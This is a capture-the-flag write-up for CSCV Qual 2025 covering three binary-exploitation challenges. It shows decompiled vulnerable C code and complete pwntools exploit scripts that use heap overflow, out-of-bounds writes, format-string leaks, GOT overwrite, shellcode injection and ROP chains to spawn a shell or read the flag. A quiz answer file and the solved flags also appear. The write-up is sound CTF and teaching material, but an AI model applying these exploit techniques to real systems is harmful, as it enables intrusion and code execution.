[WRITE UP] - CSCV Qual 2025

1
struct note
2
{
3
  uint32_t index;
4
  struct note *next;
5
  char *data;
6
};
7

8

9
void write_note()
10
{
11
  int index; // [rsp+Ch] [rbp-14h] BYREF
12
  note *i; // [rsp+10h] [rbp-10h]
13
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]
14

15
  v2 = __readfsqword(0x28u);
16
  if ( g_note )
17
  {
18
    index = 0;
19
    printf("Index: ");
20
    __isoc99_scanf("%u%*c", &index);
21
    for ( i = g_note; i->index != index; i = i->next )
22
    {
23
      if ( !i->next )
24
        return;
25
    }
26
    gets(&i->data);                             // Heap Overflow
27
  }
28
}

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5
from subprocess import check_output
6

7
exe = context.binary = ELF('./challenge_patched', checksec=False)
8
libc = exe.libc
9

10
gdbscript = '''
11
init-pwndbg
12
# init-gef-bata
13
b *0x4012FA
14
b *0x401296
15
b *0x40148E
16
b *0x4013C9
17
c
18
'''
19

20
def start(argv=[]):
21
    if args.LOCAL:
22
        p = exe.process()
23
        if args.GDB:
24
            gdb.attach(p, gdbscript=gdbscript)
25
            pause()
26
    if args.DOCKER:
27
        p = remote('0', 1337)
28
        if args.GDB:
29
            pid = int(check_output(['pidof', '-f', '/pwn/challenge']))
30
            gdb.attach(pid, gdbscript=gdbscript, exe=exe.path)
31
            pause()
32

33
    elif args.REMOTE:
34
        host_port = sys.argv[1:]
35
        p = remote(host_port[0], int(host_port[1]))
36
    return p
37

38
def menu(choice: int):
39
    slna(b'> ', choice)
40

41
idx = 0
42
def create():
43
    menu(1)
44
    ru(b'Note with index ')
45
    return ru(b' created', drop=True)
46

47
def write(idx: int, content: bytes):
48
    menu(3)
49
    slna(b'Index: ', idx)
50
    sl(content)
51

52
def read(idx: int):
53
    menu(2)
54
    slna(b'Index: ', idx)
55

56
# ==================== EXPLOIT ====================
57
p = start()
58

59
# gnote -> 0 -> 1 -> 2 -> 3 -> NULL
60
create()
61
create()
62
create()
63
create()
64

65
write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008+0x1))
66

67
read(0x5000000000004010)
68
leak = u64((b'\x00' + rb(5)).ljust(8, b'\x00'))
69
slog('leak @ %#x', leak)
70

71
# ld_base = leak - 0x152f0
72
# slog('ld base @ %#x', ld_base)
73

74
libc.address = leak - libc.sym.printf
75
slog('libc base @ %#x', libc.address)
76

77
write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008))
78

79
info('system @ %#x', libc.sym.system)
80

81
slna(b'> ', 3)
82
slna(b'Index: ', 0)
83
sl(p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008))
84

85
write(1, b'/bin/sh\x00')
86

87
slna(b'> ', 3)
88
slna(b'Index: ', 4198464)
89
sl(p64(libc.sym.printf) + p64(libc.sym.system) + p64(libc.sym.malloc) + p64(libc.sym.__isoc99_scanf))
90

91
# write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0xdeadbeef))
92

93
# write(4210184, p64(leak) + p64(libc.sym.system))
94

95
slna(b'> ', 3)
96
slna(b'Index: ', 1)
97

98
interactive()
99
# CSCV2025{313487590c9dbf64bdd49d7e76980965}

1
__int64 start_game()
2
{
3
  unsigned __int8 num; // [rsp+Dh] [rbp-23h] BYREF
4
  unsigned __int8 col; // [rsp+Eh] [rbp-22h] BYREF
5
  unsigned __int8 row; // [rsp+Fh] [rbp-21h] BYREF
6
  char buf[28]; // [rsp+10h] [rbp-20h] BYREF
7
  int v5; // [rsp+2Ch] [rbp-4h]
8

9
  num = 0;
10
  printf("What's your name? ");
11
  v5 = read(0, buf, 0x27u);
12
  if ( v5 <= 0 )
13
  {
14
    perror("read failed");
15
    exit(1);
16
  }
17
  buf[v5] = 0;
18
  printf("Welcome %s\n", buf);
19
  initBOARD();
20
  while ( 1 )
21
  {
22
    displayBOARD();
23
    if ( (unsigned __int8)isComplete() )
24
    {
25
      puts("Congratulations!");
26
      return 0;
27
    }
28
    printf("> ");
29
    v5 = __isoc99_scanf("%hhu %hhu %hhu", &row, &col, &num);
30
    if ( v5 <= 0 )
31
    {
32
      perror("scanf failed");
33
      exit(1);
34
    }
35
    if ( !row && !col && !num )
36
      break;
37
    if ( canEdit(--row, --col) && (unsigned __int8)isValid(row, col, num) == 1 )
38
      BOARD[9 * row + col] = num;
39
    else
40
      puts("Invalid input!");
41
  }
42
  puts("Bye!");
43
  return 0;
44
}

1
__int64 __fastcall isValid(unsigned __int8 row, unsigned __int8 i, unsigned __int8 num)
2
{
3
  signed int n; // [rsp+1Ch] [rbp-10h]
4
  signed int m; // [rsp+20h] [rbp-Ch]
5
  int k; // [rsp+24h] [rbp-8h]
6
  int j; // [rsp+28h] [rbp-4h]
7

8
  for ( j = 0; j <= 8; ++j )
9
  {
10
    if ( BOARD[9 * row + j] == num && j != i )
11
      return 0;
12
  }
13
  for ( k = 0; k <= 8; ++k )
14
  {
15
    if ( BOARD[9 * k + i] == num && k != row )
16
      return 0;
17
  }
18
  for ( m = 3 * (row / 3u); m <= (int)(3 * (row / 3u) + 2); ++m )
19
  {
20
    for ( n = 3 * (i / 3u); n <= (int)(3 * (i / 3u) + 2); ++n )
21
    {
22
      if ( BOARD[9 * m + n] == num && (m != row || n != i) )
23
        return 0;
24
    }
25
  }
26
  return 1;
27
}

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5
from collections import defaultdict
6

7
exe = context.binary = ELF('./sudoshell', checksec=False)
8
libc = exe.libc
9

10
gdbscript = '''
11
init-pwndbg
12
# init-gef-bata
13
b *0x401B4A
14
b *0x401CE9
15
b *0x401CF5
16
c
17
'''
18

19
def start(argv=[]):
20
    if args.LOCAL:
21
        p = exe.process()
22
        if args.GDB:
23
            gdb.attach(p, gdbscript=gdbscript)
24
            pause()
25
    elif args.REMOTE:
26
        host_port = sys.argv[1:]
27
        p = remote(host_port[0], int(host_port[1]))
28
    return p
29

30
# ==================== EXPLOIT ====================
31
p = start()
32

33
used_row_values = defaultdict(set)  # key: absolute row
34
used_col_values = defaultdict(set)  # key: absolute col
35
used_blk_values = defaultdict(set)  # key: (row//3, col//3)
36

37
def _candidates(addr, byte):
38
    delta = addr - 0x4040e0
39
    row, col = divmod(delta, 9)
40
    yield row, col
41

42
    families = (
43
        (
44
            min(row, (254 - col) // 9),
45
            min(col // 9, 254 - row),
46
            lambda step: (row - step, col + 9 * step),
47
        ),
48
        (
49
            min(row // 9, (254 - col) // 81),
50
            min(col // 81, (254 - row) // 9),
51
            lambda step: (row - 9 * step, col + 81 * step),
52
        ),
53
    )
54

55
    for pos, neg, mapper in families:
56
        limit = max(pos, neg)
57
        for s in range(1, limit + 1):
58
            for step in (s, -s):
59
                if step > pos or -step > neg:
60
                    continue
61
                yield mapper(step)
62

63
def _fits_sudoku(byte, row, col):
64
    blk = (row // 3, col // 3)
65
    return all(
66
        byte not in container
67
        for container in (used_row_values[row], used_col_values[col], used_blk_values[blk])
68
    )
69

70
def _mark_used(byte, row, col):
71
    blk = (row // 3, col // 3)
72
    for container in (used_row_values[row], used_col_values[col], used_blk_values[blk]):
73
        container.add(byte)
74

75
def try_write(addr, byte):
76
    print(f"addr {hex(addr)} - {hex(byte)}")
77
    for row, col in _candidates(addr, byte):
78
        if not (0 <= row <= 254 and 0 <= col <= 254):
79
            continue
80
        if not _fits_sudoku(byte, row, col):
81
            continue
82
        p.sendline(f"{row + 1} {col + 1} {byte} ".encode())
83
        if b'Invalid input!' in p.recvuntil(b'> ', drop=False):
84
            continue
85
        _mark_used(byte, row, col)
86
        return True
87
    return False
88

89
def arb_write(addr, val):
90
    while val:
91
        byte = val & 0xff
92
        val >>= 8
93
        if byte and not try_write(addr, byte):
94
            raise RuntimeError(f"Failed to place byte {hex(byte)} at {hex(addr)}")
95
        addr += 1
96

97
    return b''
98

99

100
sla(b'>', b'1')
101
pivot = 0x404600
102
sa(b'name?', b'A'*0x20 + p64(pivot)[:-1])
103
# sla(b'>', arb_write(0x4041a0, 0xFFFFFFAA))
104
# Stage1: leak GOT then read stage2 and jump to it
105
shellcode = asm('''
106
    endbr64
107
    mov rsi, 0x4041b0
108
    mov edi, 1
109
    mov edx, 0x40
110
    mov eax, 1
111
    syscall
112
    xor edi, edi
113
    mov rsi, 0x404700
114
    mov edx, 0x400
115
    xor eax, eax
116
    syscall
117
    jmp rsi
118
''', arch='amd64')
119
# print(len(shellcode))
120
# print(shellcode)
121

122
# Set return target to shellcode (@ pivot+0x10)
123
arb_write(pivot + 8, pivot + 0x10)
124
base = pivot + 0x10
125
for i in shellcode:
126
    if i != 0:
127
        if not try_write(base, i):
128
            raise RuntimeError(f"Failed to place shellcode byte {hex(i)} at {hex(base)}")
129
    base += 1
130

131
try_write(0x40461c, 0x01)   # mov edi, 1
132
try_write(0x40462a, 0x0f)   # syscall
133
try_write(0x40462b, 0x05)
134
try_write(0x40463c, 0x0f)
135
try_write(0x40463d, 0x05)
136

137
sla(b'>', b'0 0 0')
138

139
stage2 = asm('''
140
    endbr64
141
    mov rbx, 0x67616c662f
142
    push rbx
143
    mov rdi, rsp
144
    xor esi, esi
145
    xor edx, edx
146
    mov eax, 2
147
    syscall
148
    mov edi, eax
149
    lea rsi, [rsp]
150
    mov edx, 0x100
151
    xor eax, eax
152
    syscall
153
    mov edx, eax
154
    lea rsi, [rsp]
155
    mov edi, 1
156
    mov eax, 1
157
    nop
158
    syscall
159
    xor edi, edi
160
    mov eax, 60
161
    syscall
162
''', arch='amd64')
163
p.send(stage2)
164

165
interactive()
166
# CSCV2025{Y0u_kn0w_h0w_t0_bu1ld_sh4llc03}

1
[
2
    {
3
        "question": "What guiding principles must investigative powers respect under the Convention?",
4
        "options": [
5
            "1. Necessity, proportionality, legality, and human rights safeguards",
6
            "2. Collect as much data as possible",
7
            "3. Disregard privacy for speed",
8
            "4. Follow only international norms"
9
        ],
10
        "correct_option": 1
11
    },
12
    {
13
        "question": "Which article defines 'illegal access' (unauthorized access)?",
14
        "options": [
15
            "1. Article 10 - System interference",
16
            "2. Article 6 - Illegal access (unauthorized access to an ICT system)",
17
            "3. Article 7 - Illegal interception",
18
            "4. Article 12 - Computer-related fraud"
19
        ],
20
        "correct_option": 2
21
    },
22
    {
23
        "question": "When transferring electronic evidence across borders, what must be observed?",
24
        "options": [
25
            "1. Chain of custody, integrity, authenticity, and local evidentiary rules",
26
            "2. Free public dissemination online",
27
            "3. Only a summary is enough",
28
            "4. Must translate into all UN languages"
29
        ],
30
        "correct_option": 1
31
    },
32
    {
33
        "question": "What is a 'production order' used for?",
34
        "options": [
35
            "1. To compel a person or service provider to produce electronic data or subscriber info lawfully held",
36
            "2. To authorize real-time interception of communications",
37
            "3. To authorize home search",
38
            "4. To seize physical property"
39
        ],
40
        "correct_option": 1
41
    },
42
    {
43
        "question": "What conditions apply to real-time collection of content data (interception)?",
44
        "options": [
45
            "1. None — it may be done freely",
46
            "2. Only verbal request by investigator",
47
            "3. Must comply with national law and human rights safeguards",
48
            "4. Always notify the target immediately"
49
        ],
50
        "correct_option": 3
51
    },
52
    {
53
        "question": "How does the Convention treat extradition?",
54
        "options": [
55
            "1. Based on existing treaties or reciprocity, following domestic law",
56
            "2. Prohibits extradition in all cases",
57
            "3. Mandates extradition without legal basis",
58
            "4. Only via international courts"
59
        ],
60
        "correct_option": 1
61
    },
62
    {
63
        "question": "What is emphasized by the Convention about handling personal data?",
64
        "options": [
65
            "1. Investigative measures must include safeguards and use-limitation",
66
            "2. Broad data collection is preferable",
67
            "3. Privacy is irrelevant",
68
            "4. All states must adopt GDPR"
69
        ],
70
        "correct_option": 1
71
    },
72
    {
73
        "question": "Which refusal ground for MLA is valid under the Convention?",
74
        "options": [
75
            "1. If the request would seriously affect sovereignty or security",
76
            "2. If countries are not neighbors",
77
            "3. If the case involves advanced technology",
78
            "4. If there is a time zone difference"
79
        ],
80
        "correct_option": 1
81
    },
82
    {
83
        "question": "What is the main purpose of expedited disclosure of traffic data?",
84
        "options": [
85
            "1. To quickly identify routes, origin/destination, and guide jurisdictional decisions",
86
            "2. To obtain message contents",
87
            "3. To block user accounts",
88
            "4. To shut down Internet services"
89
        ],
90
        "correct_option": 1
91
    },
92
    {
93
        "question": "Does the Convention apply to traditional crimes committed via ICT means?",
94
        "options": [
95
            "1. Yes, when traditional crimes are executed via ICT systems",
96
            "2. Only new cybercrimes",
97
            "3. Never to traditional crimes",
98
            "4. Only when large financial harm occurs"
99
        ],
100
        "correct_option": 1
101
    }
102
]

1
      if ( rank <= 19 || gScore <= 0x7CF )
2
      {
3
        snprintf(gActivityLog, 0x40u, &format_, (unsigned int)rank, gScore, (unsigned int)(rank - gQuizzesPassed), i);
4
      }
5
      else
6
      {
7
        puts("\nYou have shown deep understanding and are awarded an honorary certificate!");
8
        printf("Write your thoughts: ");
9
        v5 = read(0, buf, 224u);
10
        if ( v5 > 0 )
11
        {
12
          if ( buf[v5 - 1] == 10 )
13
            buf[v5 - 1] = 0;
14
          else
15
            buf[v5] = 0;
16
          printf("Added to log: %s\n", buf);
17
          snprintf(gActivityLog, 0x40u, "You have reached rank %d\nYour thoughts: %s", rank, buf);
18
        }
19
      }
20
    }
21
  }

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
import re, hashlib, time, sys
5

6
exe = context.binary = ELF('./quiz_patched', checksec=False)
7
# exe = context.binary = ELF('./debug', checksec=False)
8
libc = exe.libc
9

10
gdbscript = '''
11
init-pwndbg
12
# init-gef-bata
13
brva 0x20C7
14
brva 0x253D
15
brva 0x2757
16
c
17
'''
18

19
def start(argv=[]):
20
    if args.LOCAL:
21
        p = exe.process()
22
        if args.GDB:
23
            gdb.attach(p, gdbscript=gdbscript)
24
            pause()
25
    elif args.REMOTE:
26
        host_port = sys.argv[1:]
27
        p = remote(host_port[0], int(host_port[1]))
28
    return p
29

30
def solve_pow():
31
    ban = p.recvuntil(b'Enter your answer', timeout=10)
32
    chal = re.search(rb'Challenge:\s*([0-9a-fA-F]+)', ban).group(1).decode()
33
    m0 = re.search(rb'starts with\s+(\d+)\s+zeros', ban); zeros = int(m0.group(1)) if m0 else 6
34
    m1 = re.search(rb'You have\s+(\d+)\s+seconds', ban); lim = int(m1.group(1)) if m1 else 120
35
    tgt = '0'*zeros; base = chal.encode()
36
    start_t = time.time(); deadline = start_t + lim - 3
37
    n = 0; last = start_t
38
    while True:
39
        s = str(n).encode()
40
        if hashlib.sha256(base + s).hexdigest().startswith(tgt):
41
            slog(f"found nonce={s.decode()} tries={n} hashes={n} time={time.time()-start_t:.2f}s")
42
            sl(s)
43
            return
44
        n += 1
45
        now = time.time()
46
        if now - last >= 0.5:
47
            rate = n/(now-start_t)
48
            info(f"tries={n} hashes={n} rate={rate:.0f}/s elapsed={now-start_t:.1f}s")
49
            last = now
50
        if now > deadline:
51
            raise RuntimeError("PoW timeout")
52

53

54
def menu(choice: int):
55
    slna(b'> ', choice)
56

57

58
def create(name):
59
    menu(1)
60
    sa(b'name: ', name)
61

62

63
def view():
64
    menu(2)
65

66

67
def edit(content):
68
    menu(4)
69
    sla(b"name: ", content)
70

71
def run_quiz():
72
    menu(3)
73
    for _ in range(10):
74
        blk = p.recvuntil(b'> ', timeout=10)
75
        m = re.search(rb'1\.\s*(.*?)\r?\n.*?2\.\s*(.*?)\r?\n.*?3\.\s*(.*?)\r?\n.*?4\.\s*(.*?)\r?\n', blk, re.S) # search for options
76
        if not m:
77
            break
78
        idx = max(range(4), key=lambda i: len(m.group(i+1).strip())) + 1 # pick the longest option
79
        sl(str(idx).encode())
80

81
# ==================== EXPLOIT ====================
82
p = start()
83

84
if args.REMOTE:
85
    solve_pow()
86

87
create(b'Kasero')
88

89
if args.REMOTE:
90
    for _ in range(10):
91
        run_quiz()
92

93
edit(b'A' * 0x4c + p32(0xffff)) # overwrite rank to > 19 for buff overflow in run_quiz
94
run_quiz()
95

96
# leak pie base and stack address
97
sla(b'Write your thoughts: ', b'%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p')
98
view()
99

100
ru(b'Your thoughts: ')
101
ru(b'0x')
102
ru(b'0x')
103

104
stack = int(ru(b'|0x', drop=True), 16)
105
slog('stack @ %#x', stack)
106

107
exe.address = int(ru(b'|', drop=True), 16) - 0x2987
108
slog('exe base @ %#x', exe.address)
109

110
# leak libc base and canary
111
edit(b'A' * 0x50 + p64(exe.got.puts))
112
view()
113
ru(b'Your thoughts: ')
114
rl()
115
libc.address = fixleak(rl()[:-1]) - libc.sym.puts
116
slog('libc base @ %#x', libc.address)
117

118
edit(b'A' * 0x50 + p64(stack + 0x98 + 1))
119
view()
120
ru(b'Your thoughts: ')
121
rl()
122
canary = u64(b'\x00' + rb(7))
123
slog('canary @ %#x', canary)
124

125
rop = ROP(libc)
126
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
127
ret = pop_rdi + 1
128
leave_ret = exe.address + 0x265E
129

130
# rop...
131
run_quiz()
132
sla(b'Write your thoughts: ', flat({
133
    0: [
134
        pop_rdi,
135
        next(libc.search(b'/bin/sh\x00')),
136
        libc.sym.system,
137
    ],
138
    0xc8: [
139
        canary,
140
        stack - 0x100 - 8,
141
        leave_ret
142
    ]
143
}, filler=b'A'))
144

145
interactive()
146
# CSCV2025{H4n0i_C0nv3nt10n_C0un73r1ng_Cyb3rcR1m3_Sh4r1ng_R3sp0ns1b1l1ty_S3cur1ng_0ur_Futur3}